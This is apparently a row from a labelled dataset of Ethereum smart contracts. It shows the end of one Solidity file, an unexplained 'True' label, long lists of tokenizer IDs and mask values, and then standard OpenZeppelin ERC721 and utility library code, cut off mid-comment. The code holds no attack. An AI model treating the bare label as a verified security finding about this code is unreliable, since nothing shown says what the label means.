* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
6021,
1008,
1013,
1013,
1013,
3336,
7377,
8024,
1006,
1002,
11420,
1007,
1013,
1013,
4037,
1024,
16770,
1024,
1013,
1013,
7479,
1012,
3336,
7377,
8024,
18715,
2368,
1012,
4012,
1013,
1013,
9927,
1024,
16770,
1024,
1013,
1013,
7479,
1012,
3336,
7377,
8024,
18715,
2368,
1012,
4012,
1013,
9927,
1013,
1013,
1013,
10474,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
3336,
7377,
8024,
18715,
2368,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1020,
1025,
1013,
1008,
1008,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-01-15
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
